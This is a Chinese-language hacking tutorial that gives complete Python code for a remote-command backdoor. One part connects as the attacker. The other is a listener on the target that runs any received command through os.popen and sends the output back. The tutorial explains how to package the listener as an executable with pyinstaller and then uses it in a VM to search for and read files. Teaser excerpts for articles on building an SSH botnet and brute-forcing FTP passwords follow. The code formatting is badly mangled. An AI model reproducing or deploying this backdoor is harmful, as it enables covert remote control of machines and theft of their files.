本篇文章講解如何編寫後門程式,並實踐測試執行,通過後門程式查詢檔案。
防火牆用於攔截使用者從外部訪問伺服器。訪問伺服器的telnet、ftp等服務只限允許的使用者使用。防火牆並不會阻斷使用者從內部向外部的訪問路徑。雖然很難從外部侵入防火牆,但一旦成功,黑客就能輕鬆竊取敏感資訊。後門技術用於繞過防火牆等安全裝置,掌控伺服器資源。安裝於目標伺服器的後門客戶端會接收並執行來自後門伺服器的命令,並將執行結果傳送給後門伺服器。
利用後門發動攻擊時,最困難的是向目標系統安裝後門客戶端。通過網路直接上傳檔案並非易事,所以這種手段大多用於安全性較差的web環境。
後門攻擊端
import socket
ip =
"192.168.1.10" # 對方伺服器ip位址
port =
5555 # 對方伺服器的埠
s = socket.
socket
(socket.af_inet, socket.sock_stream) # 鏈結對方使用tcp協議 物件建立
s.connect
((ip, port)
) # 連線
while true:
data =
input
("請輸入命令:"
) data =
bytes
(data, encoding=
"utf8"
) s.
send
(data) # 傳送資料給對方
data2 = s.
recv
(1024
) # 接收返回的資料
print
(str
(data2, encoding=
"utf8"))
if data == b"q"
:break
s.close
()
後門受攻擊端
import socket
import os
ip =
"" # 空表示可連線所有主機
port =
5555 # 設定埠
s = socket.
socket
(socket.af_inet, socket.sock_stream) # 物件s 使用基於tcp協議的網路套接字
s.setsockopt
(socket.sol_socket, socket.so_reuseaddr,
1) # 關閉後不需要儲存狀態可以立即開啟
s.bind
((ip, port)
) # 物件s 開始繫結ip和埠
s.listen(10
) # 啟動監聽狀態,設定佇列中等待連線伺服器的最大請求數10
conn, addr = s.
accept
() # 當與別人建立連線 addr,conn 變數分別存對方ip和連線的物件
print
(addr) # 顯示對方位址
while true:
data = conn.
recv
(1024
) # 接收對方字串 #如果對方不發資料會卡住
print
(data) # 列印對方發來的資料
if data == b"q"
:break
data =
str(data, encoding=
"utf8"
) # 將資料轉換為字串型別
f = os.
popen
(data) # 可以將命令的內容以讀取的方式返回
data2 = f.
read()
if data2 =="":
conn.
send
(b"finish"
)else
: conn.
send
(bytes
(data2, encoding=
"utf8"
)) # 傳送命令執行結果
conn.
close
() # 斷開連線
s.close
() # 關閉套結字
由於並不是所有被攻擊物件都安裝python環境,所以需要把python程式封裝成可執行檔案,詳見->將python**封裝成exe檔案。
在桌面所在路徑執行命令,則生成的檔案就在桌面,執行下面**,將受控端(受攻擊端)封裝。
pyinstaller -f d:\應用程式\python\python**\學習練習\後門受控端.py
攻擊端ip:192.168.1.5
受攻擊端ip:192.168.1.10
(1)將剛才封裝完成的exe檔案(dist資料夾中)複製到windows7虛擬機器(受攻擊端)中,雙擊執行,然後在攻擊機中執行攻擊端**,這裡我是在pycharm中執行。連線成功後,在pycharm輸入命令dir,就可看到受控端exe檔案所在路徑下的所有檔案和路徑了。其中
表示資料夾。(命令要使用英文)
findstr "號碼" *.txt
查詢當前路徑下的所有txt字尾名的檔案中是否包含「號碼」字元,也可以用如下命令指定查詢的資料夾。findstr -d:新建資料夾 "號碼" *.txt
使用type命令開啟檔案,檢視檔案資訊。type 新建資料夾\t2.txt
Python黑客攻防,構建SSH殭屍網路!
攻擊者在達成惡意目的時,通常會使用被黑掉的計算機群。我們稱之為殭屍網路 因為被黑掉的電腦會像殭屍一樣執行指令。為構建殭屍網路,我們必須引入一乙個新的概念一類。類的概念是面向程式設計物件和程式設計模型的基礎。在這一程式設計模型中,我們會把各個物件和它們所關聯的方法一起例項化。在我們的殭屍網路中,每個單...
Python黑客攻防(十三)構建SSH殭屍網路
攻擊者在達成惡意目的時,通常會使用被黑掉的計算機群。我們稱之為殭屍網路 因為被黑掉的電腦會像殭屍一樣執行指令。為構建殭屍網路,我們必須引入一乙個新的概念一類。類的概念是面向程式設計物件和程式設計模型的基礎。在這一程式設計模型中,我們會把各個物件和它們所關聯的方法一起例項化。在我們的殭屍網路中,每個單...
Python黑客攻防(十四)暴力破解FTP口令
從安全方面考慮,允許匿名ftp訪問似乎是很瘋狂的做法。然而,令人驚訝的是許多 為此提供的正當理由卻是 匿名ftp訪問有助於 訪問軟體更新。在進行ftp密碼暴力破解前,我們要先驗證一下目標伺服器是否允許ftp匿登入。我們可以利用python中的ftplib 庫編寫乙個小指令碼,確定目標伺服器是否允許匿...